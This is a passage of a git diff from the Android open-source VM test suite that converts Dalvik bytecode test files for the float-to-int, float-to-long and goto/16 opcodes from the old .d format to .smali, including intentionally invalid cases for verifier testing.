+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_5.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       float-to-int v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.d
deleted file mode 100644
index 6fa95c5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_6.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       float-to-int v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali
new file mode 100644
index 0000000..6ff0cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_6.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.d
deleted file mode 100644
index a4a5c24..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_1.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       float-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali
new file mode 100644
index 0000000..e8484b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_1.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.d
deleted file mode 100644
index ea3525a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_2.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       const-wide v2, 3.14    
-       float-to-long v0, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali
new file mode 100644
index 0000000..c89b2e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_2.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       const-wide v2, 3.14    
+       float-to-long v0, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.d
deleted file mode 100644
index 1fde1d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_3.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       const-wide v2, 1223
-       float-to-long v0, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali
new file mode 100644
index 0000000..3bb51da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_3.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       const-wide v2, 1223
+       float-to-long v0, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d
deleted file mode 100644
index 69d1e57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_4.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 1
-
-       const v0, 3.14
-       float-to-long v0, v0
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.smali
new file mode 100644
index 0000000..a1b9689
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_4;
+.super Ljava/lang/Object;
+.source "T_float_to_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 1
+
+    const p0, 0x4048f5c3    # 3.14f
+
+    float-to-long p0, p0
+
+    return-wide p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.d
deleted file mode 100644
index 148381a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_5.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       float-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali
new file mode 100644
index 0000000..c97a143
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_5.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.d
deleted file mode 100644
index 99fa733..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_6.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       float-to-long v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali
new file mode 100644
index 0000000..b045254
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_6.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.d
deleted file mode 100644
index 30c969c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_7.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       float-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali
new file mode 100644
index 0000000..88cb8f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_7.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       float-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d
deleted file mode 100644
index caa4ad0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_16_1.java
-.class public dot.junit.opcodes.goto_16.d.T_goto_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-; test positive offset
-      goto/16 Label2
-LabelReturn:      
-      return v4
-      
-Label2:
-       add-int/lit8 v4, v4, -1
-       if-lez v4, LabelExit
-; test negative offset       
-       goto/16 Label2
-       
-LabelExit:       
-       goto LabelReturn
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.smali
new file mode 100644
index 0000000..0afc452
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.smali
@@ -0,0 +1,50 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_1;
+.super Ljava/lang/Object;
+.source "T_goto_16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+# test positive offset
+    goto/16 :goto_3
+
+    :goto_2
+    return p1
+
+    :goto_3
+    add-int/lit8 p1, p1, -0x1
+
+    if-lez p1, :cond_9
+
+# test negative offset
+    goto/16 :goto_3
+
+    :cond_9
+    goto :goto_2
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d
deleted file mode 100644
index 7162694..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_16_2.java
-.class public dot.junit.opcodes.goto_16.d.T_goto_16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto/16 Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.smali
new file mode 100644
index 0000000..8bbac29
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_2;
+.super Ljava/lang/Object;
+.source "T_goto_16_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/16 :goto_2
+
+    :goto_2
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d
deleted file mode 100644
index fcaa68d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_16_3.java
-.class public dot.junit.opcodes.goto_16.d.T_goto_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto/16 Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.smali
new file mode 100644
index 0000000..ba3296d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_3.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_3;
+.super Ljava/lang/Object;
+.source "T_goto_16_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+    goto/16 :goto_2
+
+    :goto_2
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d
deleted file mode 100644
index 746c325..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_goto_16_4.java
-.class public dot.junit.opcodes.goto_16.d.T_goto_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto/16 Label1
-Label1:      
-      return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.smali
new file mode 100644
index 0000000..6b75287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_4.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
